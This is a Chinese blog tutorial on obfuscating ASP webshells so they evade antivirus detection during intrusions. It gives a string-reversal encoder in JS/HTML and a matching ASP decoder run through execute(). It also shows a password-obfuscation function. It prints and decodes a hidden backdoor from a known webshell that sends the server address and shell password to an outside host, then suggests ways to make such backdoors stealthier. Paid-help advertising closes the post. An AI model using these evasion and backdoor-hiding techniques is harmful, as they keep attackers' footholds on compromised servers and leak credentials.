大馬加密
[重要通告]如您遇疑難雜癥,本站支持知識付費業務,掃右邊二維碼加博主微信,可節省您寶貴時間哦!
大家在入侵中應該是撿到過別人的Webshell吧?也許有的大馬功能很好,于是你就用了,但是你沒想過該馬可能有后門?現在很多的大馬都加密了,打開時候一片亂碼,是不是也想加密自己的大馬了,加密后的Webshell不僅可以防止別人撿我們的Shell用,還能免殺webshell。ASP木馬加密不難,讓我們一起踏上大馬加密之旅。
一:人工加密
1.主加密函數的編寫
1)主解密與解密函數
對大馬的加密關鍵是編寫我們的加密函數,然后寫出相應的解密函數。我這里先得對幾個ASP自帶函數有個了解
CHR:將ASCII 字碼轉換成字符
REPLACE:將一個字符串取代 部份字。
ASC:將字符串的第一字母轉換成 ANSI (美國國家標準符號)字碼。
Len:取得字符串的長度。
然后對IF語句和一些VBS函數相關知識有個了解。大家有不懂可以查看Windows腳本技術,里面比較詳細。
我們先看下一個最常用的解密函數吧。
dim ShiSan,ShiSanNewstr,ShiSanI |
這個解密函數就是將加密后的代碼解密。他先將解密代碼(Str)中的╁換為引號("),得到Str1,然后通過FOR循環,將加密部分(Str1)逐個取出,將取出的字符倒敘連接成一個新字符,并將╋換為vbcrlf(換行符)。這個加密函數應用的相當廣泛,就連華夏免殺Webshell也用了這個函數
好了。知道加密的原理后我們就可以編寫自己的加密函數了。ASP的加密函數只需要將上面的部分稍微改下,但是需要可以執行的環境(本地IIS或上傳到服務器)。這里我給出了JS+HTML寫的加密網頁
---------->JS+HTML加密:
<html> <script script="JavaScript"> function enCode(theText) { output=new String; TextSize=theText.length; for (i = 0; i < TextSize; i++) { if(theText.charCodeAt(i)=="13") { output="鵬"+output; } else if(theText.charCodeAt(i)=="10") { output+=""; } else { output=theText.charAt(i)+output; } } return output } </script> <form name=encform onsubmit="return false;" /> <textarea name=box1 rows=16 cols=120></textarea> <br /> <input type=button value="加密到下面文本框" onClick="this.form.box2.value=enCode(this.form.box1.value);" /><br /> <textarea name=box2 rows=16 cols=120></textarea> </form> </form> </html> |
保存為html格式然后用IE打開,將需要加密的部分填寫上,然后點擊按鈕"加密到下面文本框" ,就可以得到加密后的字符串了。
上面的加密函數是enCode,他的作用是將ASP代碼(Code)中的換行換為鵬,得到Code1,然后將Code1倒序(13和10分別是回車和換行的編碼)。比如:
Sub RRS(str)
response.write(str)
End Sub
加密后就為
buS dnE鵬)rts(etirw.esnopser 鵬)rts(SRR buS
寫了加密函數后就要寫出對于的解密函數,必須用ASP編寫
dim psEncode,psStr,psI Function unCode(psEncode) For psI=1 To Len(psEncode) If Mid(psEncode,psI,1)<>"鵬" Then psNewStr=Mid(psEncode,psI,1)&psNewStr Else psNewStr=vbCrlf&psNewStr End If Next unCode=psNewStr End Function |
這樣我們就可以將ASP中的RRS函數用
execute(unCode("buS dnE鵬)rts(etirw.esnopser 鵬)rts(SRR buS"))
代替掉
Sub RRS(str)
response.write(str)
End Sub
我們可以利用這個加密函數加密多處,這樣多加密一般可以免殺大馬
(2)加密解密函數
直接調用解密函數,很容易使自己的解密函數泄露,我們可以利用一個函數來加密我們的加密函數,這樣就難找一點了,這主要是為了保護我們的馬,對于上面我們的解密函數,我們可以再寫一個加密函數,然后調用execute來,這樣就可以隱藏我們的解密函數了。這樣我們解密函數的源代碼就不會明文出現在webshell里了
(3)嵌套加密
我們可以在主加密函數里面嵌套次加密函數,不過這樣我們需要對應的寫出多個解密函數,這樣加密比較側地,小破孩就馬就是采用這種加密方法。由于方法相同,我就不多啰嗦了,大家有興趣可以自己去研究下幽月或小破孩的,我這里有源碼,想要的可以到我博客(hi.baidu.com/novaa)
2.密碼的加密
大家是否遇見過webshell的密碼是很長的數字,20多位或30多位。這就是對密碼加密了的,通過對密碼加密,可以防止別人通過查看我們的源代碼得到我們的密碼,除非他完全解密了我們的webshell,否則我們大馬就是安全的。這里看一個對密碼加密的函數。
Function enPass(psStr,Pos) Dim i,psNewStr For i = 1 To Len(psStr) psNewStr= psNewStr& Asc(Mid(psStr, i, 1))+Pos & (20080808-Pos) Next enPass =psNewStr End Function |
上面的這個加密函數是對每一位密碼的數字取ascii碼,然后加上Pos & (20080808-Pos)&i,這里注意&是連接字符,比如n&ov&aa結果是novaa
然后我們把解密后的部分定義為UserPass
然后在驗證的地方通過
enPass(request.form("pass"),pn)=UserPass 來進行身份驗證,當然,通過修改密碼的驗證方式可以輕松的修改密碼,但是前提是你已經完全解密了這個webshell了。
3.后門的隱藏技術
怎么隱藏后門?其實主要就利用ASP的自帶函數和一些其他技巧,這里我以破小孩后門來解釋
RRS"<DIV style=""CURSOR:url('http://"&chr(37)&"77"&chr(37)&"2E%31"&chr(39-pos)&""&(4+pos)&"c%6c"&chr(37)&"34%2E"&chr(37)&"63%6f"&chr(37)&"6d/%"&(36+pos)&"%2f?%75="&Serveru&"&%70="&UserPass&"')"">"
這個和幽月的后門隱藏技術差不多,都是利用了ASCII編碼和HTML編碼,CHR(37)是"/",我們把它還原就是
http://w.1ll4.com/8/?u="&Serveru&"&p="&UserPass&"
這里我們可以做的更隱蔽些。
1.我們查找后門的時候一般是利用查找有UserPass的地方,因此,我們可以利用enPass(request.form("pass"),pn)賦值給另一個變量canyou,然后把&p="&UserPass&"換為&p="&canyou&"
2.我們可以利用webshell里面自帶的常量來代替http,以為http也是經常用來找后門的地方,比如Sot(13,0) = "Microsoft.XMLHTTP"這里就有HTTP,我們利用Right函數來取得Sot(13,0) 右邊的4個字符,然后代替后門中的HTTP
二:工具加密
利用微軟的腳本加密工具screnc.exe對我們初步加密的webshell進行再次的加密,這樣我們的webshell就完全成了一堆亂碼了
有了上面的加密知識,相信大家很快可以掌握ASP的解密,方法都是一樣的,然后大家就可以玩玩除后門了。
問題未解決?付費解決問題加Q或微信 2589053300 (即Q號又微信號)右上方掃一掃可加博主微信
所寫所說,是心之所感,思之所悟,行之所得;文當無敷衍,落筆求簡潔。 以所舍,求所獲;有所依,方所成!